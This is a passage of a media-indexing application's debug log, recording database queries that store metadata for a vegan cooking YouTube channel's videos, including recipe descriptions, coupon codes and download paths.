Vegan/2024-02-20 HEALTHY DESSERTS! Protein Balls, Brownies and Chocolate Mousse 🤎/HEALTHY DESSERTS! Protein Balls, Brownies and Chocolate Mousse 🤎 [095E8OgYOII].NA", false, false, false, 1, ~U[2024-02-20 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I'm showing you how to make HEALTHY DESSERTS! My protein balls, brownies and chocolate mousse are all super healthy, high-protein, vegan AND gluten-free! Check out the full recipes below 🤎\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder that I used in this video? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nBLACK FOREST BLISS BALLS (291 cal, 12g protein, 35g carbs, 9g fat — per 3 balls)\n\n1 can black beans, drained and rinsed\n7 prunes or medjool dates\n1 cup frozen cherries, thawed PLUS ½ cup extra, chopped\n¾ cup almond flour\n⅓ cup rolled oats\n½ cup cocoa powder\n½ tsp vanilla\n½ tsp cinnamon\n3 tbsp liquid sweetener\nPinch of salt\nOptional: Shredded dark chocolate, cocoa powder or coconut for rolling\n\nTo make higher in protein, sub ½ cup almond flour with chocolate protein powder (288 cal, 18g protein, 35g carbs, 6g fat)\n\nAdd all ingredients (minus extra ½ cup cherries) to a food processor and blend on high speed until a sticky dough is formed. Remove the blade and stir in the remaining chopped cherries.\nRoll into 2 tbsp sized balls and roll in grated chocolate. Chill for 1 hour before serving and enjoy!\n\nRED LENTIL BROWNIES (serves 12, 241 cal, 9g protein)\n½ cup oat flour\n10- pitted dates, soaked\n½ cup cocoa powder\n½ tsp Pink Himalayan Salt\n1 tsp baking powder\n1 tsp baking soda\n2 tbsp ground flax seed (flax eggs)\n1 medium baked sweet potato\n1½ cups dry red lentils, soaked overnight\n1 tsp vanilla\n1 tsp cinnamon\n½ cup plant milk\n\n1. Preheat oven to 350° F (200°C) and line a 9\"x9\" baking tin with parchment paper.\n2. In the bowl of a food processor, add the sweet potato flesh (skins removed), soaked dates, lentils, vanilla, and plant milk and process until completely smooth, about 2 minutes.\n3. In a separate large bowl, sift and combine the oat flour, cocoa powder, sea salt, baking powder and baking soda and then add to the wet ingredien (truncated) 20:31:07.704 [debug] QUERY OK source="sources" db=0.5ms idle=25.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.707 [debug] QUERY OK source="media_items" db=2.8ms idle=10.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-16 00:00:00Z], 1] 20:31:07.710 [debug] QUERY OK source="media_items" db=2.6ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this ‘what I eat in a week’ video I’m showing you all the high-protein vegan meals I’ve been loving lately! It’s still winter which means I’m still making lots of cozy comforting eats with a new focus of including more plant-based protein into pretty much every meal I make. \n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: JANELLEC30\n\nPEKO PRODUCE: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES FEATURED IN THIS VIDEO\n\nRED LENTIL WAFFLES 🧇 Makes 2, 15g protein per waffle\n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n\n\nGOLDEN MILK LATTE POWDER\n¼ cup turmeric powder\n½ tbsp ground ginger\n1 tsp freely ground black pepper\n½ tsp ground cinnamon\n½ tsp ground cardamom\n\nMix in a jar to combine. Add 1 tsp to a mug, dissolve in a splash of hot water and stir. Add 1 cup of hot plant milk, add a touch of liquid sweetener, stir and enjoy!\n\nLENTIL SHEPHERD’S PIE — 555 cal, 29g protein, serves 5\nRecipe on my blog! https://steamyvegan.com/lentil-shephe...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Week as a VEGAN! High-Protein Meals That I’m LOVING", "0e8b8c2d-721e-46c8-a566-c7cc7fb52f4d", 1, [], false, "EgfqfLvSy00", "https://www.youtube.com/watch?v=EgfqfLvSy00", 219, "/downloads/downloads/alec/Steamy Vegan/2024-02-16 What I Eat in a Week as a VEGAN! High-Protein Meals That I’m LOVING/What I Eat in a Week as a VEGAN! High-Protein Meals That I’m LOVING [EgfqfLvSy00].NA", false, false, false, 1, ~U[2024-02-16 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this ‘what I eat in a week’ video I’m showing you all the high-protein vegan meals I’ve been loving lately! It’s still winter which means I’m still making lots of cozy comforting eats with a new focus of including more plant-based protein into pretty much every meal I make. \n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: JANELLEC30\n\nPEKO PRODUCE: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES FEATURED IN THIS VIDEO\n\nRED LENTIL WAFFLES 🧇 Makes 2, 15g protein per waffle\n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n\n\nGOLDEN MILK LATTE POWDER\n¼ cup turmeric powder\n½ tbsp ground ginger\n1 tsp freely ground black pepper\n½ tsp ground cinnamon\n½ tsp ground cardamom\n\nMix in a jar to combine. Add 1 tsp to a mug, dissolve in a splash of hot water and stir. Add 1 cup of hot plant milk, add a touch of liquid sweetener, stir and enjoy!\n\nLENTIL SHEPHERD’S PIE — 555 cal, 29g protein, serves 5\nRecipe on my blog! https://steamyvegan.com/lentil-shephe...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Week as a VEGAN! High-Protein Meals That I’m LOVING", 1, nil, false, "EgfqfLvSy00", "https://www.youtube.com/watch?v=EgfqfLvSy00", "/downloads/downloads/alec/Steamy Vegan/2024-02-16 What I Eat in a Week as a VEGAN! High-Protein Meals That I’m LOVING/What I Eat in a Week as a VEGAN! High-Protein Meals That I’m LOVING [EgfqfLvSy00].NA", false, ~U[2024-02-16 00:00:00Z]] 20:31:07.711 [debug] QUERY OK source="sources" db=0.8ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.713 [debug] QUERY OK source="media_items" db=2.1ms idle=9.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-12 00:00:00Z], 1] 20:31:07.717 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=10.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m showing you how easy it is to get 120 grams of protein in a day on a plant-based diet. I hope this video shifts your mindset from the common assumption that ‘vegans can’t get enough protein’ because in reality it can be actually very easy!\n\nWant to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nSouthwestern Breakfast Bowl (45g protein, 475 cal)\n*sauce optional, adds 155 cal\n1️⃣ Tofu scramble (medium firm tofu, turmeric, garlic & onion powder, black salt, pepper, nooch, soy milk)\n2️⃣ Air fried potatoes (soy sauce + old bay seasoning)\n3️⃣ Fajita veggies (bell peppers, mushrooms, soy sauce, fajita spice blend)\n4️⃣ Chipotle dressing: ½ cup water, ½ cup vegan sour cream, 2 chipotle peppers in adobo sauce, juice of 1 lime, ½ tsp salt, 1 tbsp date/maple syrup, 1 tbsp ketchup, ½ cup water\n\nCrispy Chick’n Chipotle Bowl (35g protein, 700 cal)\n1️⃣ Baked soy curls (soy sauce, old bay seasoning, nooch)\n2️⃣ Cooked quinoa\n3️⃣ Lettuce, shredded cabbage, tomatoes, bell peppers, green onions\n4️⃣ Chipotle dressing\n\nLentil Sweet Potato Brownies , serves 9 (320 cal, 11g protein)\n*cut in half if you want cause they’re BIG, 160c cal, 5.5g protein\n½ cup, Oat\u00A0flour\n10 medjool dates, pitted and soaked\n½ cup cocoa powder, sifted\n½ tsp Pink Himalayan Salt\n2 teaspoon, Baking soda\n2 tbsp ground flaxseed + 5 tbsp water to make a flax egg\n 1 medium baked sweet potato\n275 grams (1½ cup) Dry Red Lentils, soaked\n½ cup plant milk\n2 tsp vanilla extract\n1 tsp cinnamon\nPinch of salt\n½ cup Vegan Semi-Sweet Chocolate Chips\n*chocolate glaze\n2 tbsp cocoa powder\n2 tbsp plant milk\n2 tbsp liquid sweetener\n\n1️⃣ To a food processor add the dates, lentils, sweet potato, plant milk, flax egg, and vanilla and process until its mostly combined but still a bit chunky\n2️⃣ Add the oat flour, cocoa powder, salt, baking soda/powder, cinnamon and blend on high speed once again for 30 to 60 seconds until it is a smooth and thick chocolatey batter. \n3️⃣ Remove the blade and stir in the choc chips. Pour into a parchment lined rectangular baking tray, smooth into an even layer. Bake 40 mins @ 400F.\n4️⃣ Remove from the oven and let cool in the pan. Mix the glaze ingredients in a bowl and pour over the brownies, smooth into an even layer and cut into 9 to 12 equal squares.\n\nPesto Protein Pasta (35g protein, 480 cal)\n12 oz chickpea pasta, cooked according to package directions\n1 block silken tofu\n1 cup frozen edamame, thawed\n1 cup frozen peas, thawed\n2 tbsp nooch\n5 cloves garlic\nJuice of ½ a lemon\nHandful of fresh basil\nHandful of fresh cilantro\nSalt and pepper to taste\n\n1️⃣ Cook pasta according to package directions\n2️⃣ Meanwhile make the pesto sauce: to a blender add the tofu, edamame, peas, nooch, herbs, garlic, lemon juice, s + p and a few tbsp water as needed to help it blend.\n3️⃣ Once the noodles are cooked and drained (reserve 1 cup pasta water) pour in the blended pesto sauce and stir well to combine. Add pasta water if needed to thin out. Serve and garnish with extra herbs, lemon wedge and red chili flakes if desired.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0" <> ..., "What I Eat in a Day to Get 120g of Protein as Vegan", "5926e503-fe77-4fbd-b85d-2b06ee49b2a2", 1, [], false, "8IfuYjTm_XQ", "https://www.youtube.com/watch?v=8IfuYjTm_XQ", 220, "/downloads/downloads/alec/Steamy Vegan/2024-02-12 What I Eat in a Day to Get 120g of Protein as Vegan/What I Eat in a Day to Get 120g of Protein as Vegan [8IfuYjTm_XQ].NA", false, false, false, 1, ~U[2024-02-12 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m showing you how easy it is to get 120 grams of protein in a day on a plant-based diet. I hope this video shifts your mindset from the common assumption that ‘vegans can’t get enough protein’ because in reality it can be actually very easy!\n\nWant to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nSouthwestern Breakfast Bowl (45g protein, 475 cal)\n*sauce optional, adds 155 cal\n1️⃣ Tofu scramble (medium firm tofu, turmeric, garlic & onion powder, black salt, pepper, nooch, soy milk)\n2️⃣ Air fried potatoes (soy sauce + old bay seasoning)\n3️⃣ Fajita veggies (bell peppers, mushrooms, soy sauce, fajita spice blend)\n4️⃣ Chipotle dressing: ½ cup water, ½ cup vegan sour cream, 2 chipotle peppers in adobo sauce, juice of 1 lime, ½ tsp salt, 1 tbsp date/maple syrup, 1 tbsp ketchup, ½ cup water\n\nCrispy Chick’n Chipotle Bowl (35g protein, 700 cal)\n1️⃣ Baked soy curls (soy sauce, old bay seasoning, nooch)\n2️⃣ Cooked quinoa\n3️⃣ Lettuce, shredded cabbage, tomatoes, bell peppers, green onions\n4️⃣ Chipotle dressing\n\nLentil Sweet Potato Brownies , serves 9 (320 cal, 11g protein)\n*cut in half if you want cause they’re BIG, 160c cal, 5.5g protein\n½ cup, Oat\u00A0flour\n10 medjool dates, pitted and soaked\n½ cup cocoa powder, sifted\n½ tsp Pink Himalayan Salt\n2 teaspoon, Baking soda\n2 tbsp ground flaxseed + 5 tbsp water to make a flax egg\n 1 medium baked sweet potato\n275 grams (1½ cup) Dry Red Lentils, soaked\n½ cup plant milk\n2 tsp vanilla extract\n1 tsp cinnamon\nPinch of salt\n½ cup Vegan Semi-Sweet Chocolate Chips\n*chocolate glaze\n2 tbsp cocoa powder\n2 tbsp plant milk\n2 tbsp liquid sweetener\n\n1️⃣ To a food processor add the dates, lentils, sweet potato, plant milk, flax egg, and vanilla and process until its mostly combined but still a bit chunky\n2️⃣ Add the oat flour, cocoa powder, salt, baking soda/powder, cinnamon and blend on high speed once again for 30 to 60 seconds until it is a smooth and thick chocolatey batter. \n3️⃣ Remove the blade and stir in the choc chips. Pour into a parchment lined rectangular baking tray, smooth into an even layer. Bake 40 mins @ 400 (truncated) 20:31:07.719 [debug] QUERY OK source="sources" db=0.9ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.721 [debug] QUERY OK source="media_items" db=2.0ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-08 00:00:00Z], 1] 20:31:07.724 [debug] QUERY OK source="media_items" db=1.9ms queue=0.5ms idle=10.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video you’ll learn how easy it is to make your own delicious vegan (and gluten-free) meats! From saucy pulled pork, crispy chicken, turkey that’s not just for the holidays, peppery steak strips and melt-in-your-mouth meatballs, I got you COVERED!\n\nLooking for more high-protein, healthy plant-based recipes? Check out this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\nTOFU PULLED ‘PORK’ \n1 block extra firm tofu\n1 tbsp light oil \n1 tbsp vegan Worcestershire or soy sauce\n2 tsp chipotle or chili powder \n½ tsp smoked paprika\n½ tsp garlic powder\n¼ cup bbq sauce\n¼ cup water \n4 gluten-free ciabatta buns\n vegan mayo \nlettuce \nsliced tomato\n\n1. Preheat oven to 350F and into a large bowl shred the block of tofu using the large hole side of a cheese grater.\n2. Toss shredded tofu with oil, worcestershire, and spices.\n3. Transfer tofu to a lightly greased sheet pan and bake in the oven for 21 to 23 minutes, tossing tofu halfway through cooking time.\n4. Add bbq sauce and water to a skillet over medium heat, stir in the tofu until coated and heat through until bubbling and the sauce is thickened. Add more BBQ sauce if desired. Serve in a bun with mayo, lettuce and tomato and enjoy!\n\nCRISPY SOY CURL CHICK’N\n4 oz dry soy curls, rehydrated \n1 to 2 tbsp Old Bay seasoning\n1 tbsp soy sauce or low-sodium tamari\n\n1. Rehydrate soy curls in a boil of boiling hot water and let soak for 10 minutes. Drain and press out any excess liquid using a colander and the back of a spatula or wooden spoon\n2. Toss the soy curls in the spice blend and soy sauce and evenly spread them on a lightly oiled/parchment line baking tray. Bake for 20 minutes at 425F, flipping halfway until golden and crispy at the edges\n\n‘TURKEY’ N GRAVY\nGravy\n2 tbsp vegan butter\n¼ cup gluten-free all purpose flour\n½ tbsp nutritional yeast\n1 tsp poultry seasoning\nSalt and pepper to taste \n3 cups vegan chick’n or veggie broth\n1 tbsp Mirin or white wine\n1 cup yellow onion, diced\n1 package Butler soy curls, rehydrated\n\n1. Melt the butter in a large saucepan on medium heat. Gradually whisk in the flour until it’s dissolved in the butter into a roux. Add the nutritional yeast, salt and pepper, poultry seasoning salt and pepper and whisk to combine. Then slowly and gradually pour in the broth a little bit at a time, whisking vigorously to ensure no lumps remain. \n2. Stir in the diced onion and Mirin. Turn heat down to medium-low, whisking frequently as the gravy thickens, for another 5 minutes.\n3. Add in the hydrated soy curls and stir to combine into the gravy. Allow them to heat through, adjust seasonings to taste and remove from the heat.\n\nPEPPERY ‘STEAK’ STRIPS\n1 bag soy curls, rehydrated \nSTEAK SPICE\n2 tbsp whole peppercorns, crushed\n2 tbsp smoked paprika\n1 tbsp pink Himalayan salt\n1 tbsp garlic powder\n1 tbsp dried onion flakes\n1 tbsp crushed coriander seeds\n2 tsp crushed red chili flakes\n2 tsp ground cumin\n2 tsp dried thyme\nMARINADE (combine all ingredients in bowl)\n3 tbsp soy sauce\n3 tbsp avocado oil\n3 tbsp lemon juice\n2 tbsp vegan Worcestershire sauce\n¾ cup veggie broth\n2 tbsp steak seasoning \n\nMarinate the soy curls for at least 30 minutes and up to overnight. Pan fry for 20 minutes, stirring and flipping the pieces over occasionally until browning and golden and no more liquid remained in the pan.\n\n‘PORCUPINE’ MEATBALLS\n1 lb. Beyond beef, or any other plant-based beef sub\n½ cup white rice\n1 small onion, diced\n2 large cloves garlic, minced\n2 tbsp balsamic vinegar OR vegan worcestershire sauce\n¼ cup gluten-free breadcrumbs\nBlack pepper\n\n1 can tomato paste\n2 cups water\n1 tbsp coconut sugar, or any granulated sugar\n½ tsp garlic powder\n¼ tsp salt \npepper to taste\n\n1. In a large mixing bowl add the plant-based beef, rice, diced onion and garlic, balsamic vinegar, breadcrumbs and black pepper. Mix very well to combine into a meat mixture, use your hands to really mix things together properly. Set aside for a couple minutes.\n2. In a large flat-bottomed saucepan combine the tomato paste, water, sugar, garlic powder, salt and pepper and whisk well until all the s" <> ..., "5 Vegan Meats I Make Every Week: Pulled Pork, Chicken, Steak & More!", "57d5d63d-0dca-43c3-9904-1172188e71de", 1, [], false, "_ZNvVNaDw5E", "https://www.youtube.com/watch?v=_ZNvVNaDw5E", 221, "/downloads/downloads/alec/Steamy Vegan/2024-02-08 5 Vegan Meats I Make Every Week: Pulled Pork, Chicken, Steak & More!/5 Vegan Meats I Make Every Week: Pulled Pork, Chicken, Steak & More! [_ZNvVNaDw5E].NA", false, false, false, 1, ~U[2024-02-08 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video you’ll learn how easy it is to make your own delicious vegan (and gluten-free) meats! From saucy pulled pork, crispy chicken, turkey that’s not just for the holidays, peppery steak strips and melt-in-your-mouth meatballs, I got you COVERED!\n\nLooking for more high-protein, healthy plant-based recipes? Check out this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\nTOFU PULLED ‘PORK’ \n1 block extra firm tofu\n1 tbsp light oil \n1 tbsp vegan Worcestershire or soy sauce\n2 tsp chipotle or chili powder \n½ tsp smoked paprika\n½ tsp garlic powder\n¼ cup bbq sauce\n¼ cup water \n4 gluten-free ciabatta buns\n vegan mayo \nlettuce \nsliced tomato\n\n1. Preheat oven to 350F and into a large bowl shred the block of tofu using the large hole side of a cheese grater.\n2. Toss shredded tofu with oil, worcestershire, and spices.\n3. Transfer tofu to a lightly greased sheet pan and bake in the oven for 21 to 23 minutes, tossing tofu halfway through cooking time.\n4. Add bbq sauce and water to a skillet over medium heat, stir in the tofu until coated and heat through until bubbling and the sauce is thickened. Add more BBQ sauce if desired. Serve in a bun with mayo, lettuce and tomato and enjoy!\n\nCRISPY SOY CURL CHICK’N\n4 oz dry soy curls, rehydrated \n1 to 2 tbsp Old Bay seasoning\n1 tbsp soy sauce or low-sodium tamari\n\n1. Rehydrate soy curls in a boil of boiling hot water and let soak for 10 minutes. Drain and press out any excess liquid using a colander and the back of a spatula or wooden spoon\n2. Toss the soy curls in the spice blend and soy sauce and evenly spread them on a lightly oiled/parchment line baking tray. Bake for 20 minutes at 425F, flipping halfway until golden and crispy at the edges\n\n‘TURKEY’ N GRAVY\nGravy\n2 tbsp vegan butter\n¼ cup gluten-free all purpose flour\n½ tbsp nutritional yeast\n1 tsp poultry seasoning\nSalt and pepper to taste \n3 cups vegan chick’n or veggie broth\n1 tbsp Mirin or white wine\n1 cup yellow onion, diced\n1 package Butler soy curls, rehydrated\n\n1. Melt the butter in a large saucepan on medium heat. Gradually whisk in the flour until it’s dissolved in the butter into a roux. Add the nutritional yeast, salt and pepper, poultry seasoning salt and pepper and whisk to combine. Then slowly and gradually pour in the broth a little bit at a time, whisking vigorously to ensure no lumps remain. \n2. Stir in the diced onion and Mirin. Turn heat down to medium-low, whisking frequently as the gravy thickens, for another 5 (truncated) 20:31:07.726 [debug] QUERY OK source="sources" db=0.9ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.728 [debug] QUERY OK source="media_items" db=2.6ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-05 00:00:00Z], 1] 20:31:07.732 [debug] QUERY OK source="media_items" db=2.9ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m showing you some of the healthy, high-protein, vegan and gluten-free meals that I ate this week! I’m on a health journey in 2024 to lose weight, get fit and build muscle — who’s with me? 💪🏼🤩 I’m discovering more and more how it’s MORE than possible to get tons of protein on a plant-based diet and I’m HERE to show ya!\n\nWant to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nI love the strawberries and cream flavour or the mocha!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 